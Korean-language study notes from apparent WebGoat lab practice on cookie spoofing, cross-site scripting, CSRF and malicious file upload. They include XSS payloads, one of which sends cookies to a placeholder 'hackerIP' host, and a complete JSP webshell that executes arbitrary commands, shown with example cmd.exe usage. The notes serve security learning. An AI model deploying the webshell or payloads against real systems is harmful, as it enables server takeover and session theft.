Spoof an Authentication Cookie
webgoat에서 실습진행, 로그인하면 쿠키를 받아오면 생기는것
application - cookie
Cross Site Scripting
웹 페이지에 악의적인 스크립트를 포함시켜 사용자 측에서 실행되게 유도하는 공격
검증되지 않은 외부 입력이 동적 웹페이지 생성에 사용될 경우, 전송된 동적 웹페이지를 열람하는 접속자의 권한으로 부적절한 스크립트가 수행되어 정보유출등의 공격을 유발
클라이언트에서 쿠키등을 공격자에게 보냄
<script>alert('XSS')</script>
Stored XSS
<script>alert(document.cookie)</script>
라고 입력하고 application- cookie에 HttpOnly 선택된것을 풀어주면(js가 아닌 http에서만 실행되도록 하는 기능) alert로 쿠키값을 볼 수 있음<script>http://hackerIP/cookie.jsp?cookie=alert(document.cookie)</script>
Reflective XSS
Cross Site Request Forgery
CSRF 방지
<script>
같은 것을 모두 text로 받으면 방지할 수 있음Malicious File Execution
서버측(Backend)에서 실행될 수 있는 스크립트 파일(asp, jsp, php등)을 업로드 가능하고 이 파일을 공격자가 웹을 통해 직접 실행시킬 수 있는 경우, 시스템 내부 명령어를 실행하거나 외부와 연결하여 시스템을 제어할 수 있음
webshell.jsp 파일을 인터넷에서 간단하게 가져옴
<HTML>
<%
String cmd = request.getParameter("cmd");//cmd를 받아와서
if(cmd != null) Runtime.getRuntime().exec(cmd);//실행하라
%>
<form>
<input type="text" name="cmd">
<input type="submit">
</form>
</HTML>
이 파일을 업로드를 해주고, 오른쪽 마우스키 - 주소 가져오기를 해서 실행하면 해당 웹셸을 실행할 수 있음.
이후 cmd.exe /c mkdir C:\Users\. . . .
해서 디렉토리를 만들고 cmd.exe /c echo "test" > C:\Users\. . . \guest.txt
를 해서 새로 만들어서 txt파일을 넣을 수 있음
Malicious FIle Execution 방지 방법